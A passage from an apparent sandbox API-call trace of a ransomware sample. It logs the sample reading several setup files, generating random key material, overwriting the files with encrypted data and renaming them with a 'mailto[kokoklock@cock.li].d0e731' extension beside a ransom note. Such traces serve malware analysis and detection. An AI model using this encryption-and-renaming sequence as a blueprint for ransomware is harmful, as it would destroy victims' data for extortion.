nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x822faf0, lpOverlapped=0x0 | out: lpBuffer=0x347b250*, lpNumberOfBytesWritten=0x822faf0*=0x20, lpOverlapped=0x0) returned 1 [0061.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.742] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x822fb04, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0x822fb04*=0x8, lpOverlapped=0x0) returned 1 [0061.742] WriteFile (in: hFile=0x5b4, lpBuffer=0x822fb1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x822fb04, lpOverlapped=0x0 | out: lpBuffer=0x822fb1c*, lpNumberOfBytesWritten=0x822fb04*=0x4, lpOverlapped=0x0) returned 1 [0061.742] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x822fb04, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x822fb04*=0x4, lpOverlapped=0x0) returned 1 [0061.742] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x822fb04, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x822fb04*=0x6c, lpOverlapped=0x0) returned 1 [0061.742] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x822fb04, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x822fb04*=0x20, lpOverlapped=0x0) returned 1 [0061.742] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x822fb04, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x822fb04*=0x4, lpOverlapped=0x0) returned 1 [0061.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2f0) returned 1 [0061.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0061.742] CloseHandle (hObject=0x5b4) returned 1 [0061.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2cc0 [0061.745] wcscpy (in: _Dest=0x33e2cc0, _Source="C:\\588bce7c90097ed212\\Setup.exe" | out: _Dest="C:\\588bce7c90097ed212\\Setup.exe") returned="C:\\588bce7c90097ed212\\Setup.exe" [0061.745] wcscat (in: _Dest=0x33e2cc0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731" [0061.745] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), lpNewFileName="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setup.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.746] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0061.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2cc0) returned 1 [0061.746] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe", dwFileAttributes=0x80) returned 0 [0061.746] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481fd8 [0061.746] wcscpy (in: _Dest=0x3481fd8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0061.746] wcscat (in: _Dest=0x3481fd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0061.746] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0061.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481fd8) returned 1 [0061.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.747] RtlExitUserThread (Status=0x1) Thread: id = 109 os_tid = 0x1024 [0061.747] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0061.747] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", dwFileAttributes=0x20) returned 1 [0061.748] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.748] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x82aff20 | out: lpFileSize=0x82aff20*=30120) returned 1 [0061.748] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x75a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.748] ReadFile (in: hFile=0x5b4, lpBuffer=0x82afef4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x82afef0, lpOverlapped=0x0 | out: lpBuffer=0x82afef4*, lpNumberOfBytesRead=0x82afef0*=0x4, lpOverlapped=0x0) returned 1 [0061.750] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0061.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0061.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b610 [0061.750] NtQuerySystemTime (in: CurrentTime=0x82afecc | out: CurrentTime=0x82afecc*=132121176196488541) returned 0x0 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x2211450f [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xf3f42850 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x99a7df15 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xc9a6a05f [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x5fc06a83 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xa30eb794 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xee88bb22 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xb24cebff [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x9ce8585c [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x1a9d36bd [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x536f5d7d [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xa5cd6719 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xd58e0653 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x616543b6 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x1a93ef28 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xe4d9a906 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x45f91251 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xf20c4e60 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xb14116b9 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x30d087a9 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x8a0a7d3a [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xaf98281 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x29098092 [0061.750] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xa2c455be [0061.751] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xd2b2368b [0061.751] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x8edaebf7 [0061.751] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xd9a7e00d [0061.751] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xc875a35c [0061.751] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xa21149ba [0061.751] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0x2bc9c185 [0061.751] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xaa39d4a4 [0061.751] RtlRandom (in: Seed=0x82afed8 | out: Seed=0x82afed8) returned 0xdbedf23a [0061.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2f0 [0061.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0061.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.761] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.761] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x82afea4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x82afea4*=0x4096, lpOverlapped=0x0) returned 1 [0061.761] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0061.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0061.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0061.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.762] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x82afea4, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x82afea4*=0x4096, lpOverlapped=0x0) returned 1 [0061.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.762] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x75a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b700*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x82afedc, lpOverlapped=0x0 | out: lpBuffer=0x347b700*, lpNumberOfBytesWritten=0x82afedc*=0x20, lpOverlapped=0x0) returned 1 [0061.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0061.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b2f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x82afef0, lpOverlapped=0x0 | out: lpBuffer=0x347b2f0*, lpNumberOfBytesWritten=0x82afef0*=0x8, lpOverlapped=0x0) returned 1 [0061.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x82aff08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x82afef0, lpOverlapped=0x0 | out: lpBuffer=0x82aff08*, lpNumberOfBytesWritten=0x82afef0*=0x4, lpOverlapped=0x0) returned 1 [0061.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x82afef0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x82afef0*=0x4, lpOverlapped=0x0) returned 1 [0061.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x82afef0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x82afef0*=0x6c, lpOverlapped=0x0) returned 1 [0061.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x82afef0, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0x82afef0*=0x20, lpOverlapped=0x0) returned 1 [0061.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x82afef0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x82afef0*=0x4, lpOverlapped=0x0) returned 1 [0061.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0061.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2f0) returned 1 [0061.763] CloseHandle (hObject=0x5b4) returned 1 [0061.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2840 [0061.765] wcscpy (in: _Dest=0x33e2840, _Source="C:\\588bce7c90097ed212\\SetupUi.xsd" | out: _Dest="C:\\588bce7c90097ed212\\SetupUi.xsd") returned="C:\\588bce7c90097ed212\\SetupUi.xsd" [0061.765] wcscat (in: _Dest=0x33e2840, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731" [0061.765] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), lpNewFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.766] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0061.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2840) returned 1 [0061.766] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", dwFileAttributes=0x80) returned 0 [0061.766] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481bb8 [0061.766] wcscpy (in: _Dest=0x3481bb8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0061.766] wcscat (in: _Dest=0x3481bb8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0061.767] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0061.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481bb8) returned 1 [0061.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341c610) returned 1 [0061.767] RtlExitUserThread (Status=0x1) Thread: id = 110 os_tid = 0x1028 [0061.768] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0061.768] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe", dwFileAttributes=0x20) returned 1 [0061.768] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.769] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x832f750 | out: lpFileSize=0x832f750*=96088) returned 1 [0061.769] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x17754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.769] ReadFile (in: hFile=0x5b4, lpBuffer=0x832f724, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x832f720, lpOverlapped=0x0 | out: lpBuffer=0x832f724*, lpNumberOfBytesRead=0x832f720*=0x4, lpOverlapped=0x0) returned 1 [0061.770] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2f0 [0061.770] NtQuerySystemTime (in: CurrentTime=0x832f6fc | out: CurrentTime=0x832f6fc*=132121176196644654) returned 0x0 [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x454695af [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x7914a297 [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xca5326ba [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xe1d66853 [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x4e906c08 [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x6d22526 [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xe1d96058 [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x6455df3e [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x6ce8869 [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x70a53d0 [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xa3c27b14 [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x4e90db86 [0061.770] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x78cad2cd [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xfad2646d [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xde34a81c [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x534eb7e7 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xfdf4a9a7 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x82c0f62c [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x5755944f [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x14a139b6 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x25c4e3c9 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x7d64de57 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x8b1e0b6 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xce8b2d11 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xd81c9146 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xb53c5b99 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x385d27e7 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x5c3d2c14 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xb7a393d4 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xce054160 [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0xc36f7a4b [0061.771] RtlRandom (in: Seed=0x832f708 | out: Seed=0x832f708) returned 0x55117b89 [0061.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0061.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0061.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.781] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.781] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x832f6d4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x832f6d4*=0x4096, lpOverlapped=0x0) returned 1 [0061.782] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0061.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0061.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.783] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x832f6d4, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x832f6d4*=0x4096, lpOverlapped=0x0) returned 1 [0061.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.783] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x17758, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.783] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x832f70c, lpOverlapped=0x0 | out: lpBuffer=0x347b250*, lpNumberOfBytesWritten=0x832f70c*=0x20, lpOverlapped=0x0) returned 1 [0061.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.784] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x832f720, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0x832f720*=0x8, lpOverlapped=0x0) returned 1 [0061.784] WriteFile (in: hFile=0x5b4, lpBuffer=0x832f738*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x832f720, lpOverlapped=0x0 | out: lpBuffer=0x832f738*, lpNumberOfBytesWritten=0x832f720*=0x4, lpOverlapped=0x0) returned 1 [0061.784] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x832f720, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x832f720*=0x4, lpOverlapped=0x0) returned 1 [0061.784] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x832f720, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x832f720*=0x6c, lpOverlapped=0x0) returned 1 [0061.784] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x832f720, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x832f720*=0x20, lpOverlapped=0x0) returned 1 [0061.784] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x832f720, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x832f720*=0x4, lpOverlapped=0x0) returned 1 [0061.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0061.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0061.784] CloseHandle (hObject=0x5b4) returned 1 [0061.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x33e21c8 [0061.787] wcscpy (in: _Dest=0x33e21c8, _Source="C:\\588bce7c90097ed212\\SetupUtility.exe" | out: _Dest="C:\\588bce7c90097ed212\\SetupUtility.exe") returned="C:\\588bce7c90097ed212\\SetupUtility.exe" [0061.787] wcscat (in: _Dest=0x33e21c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731" 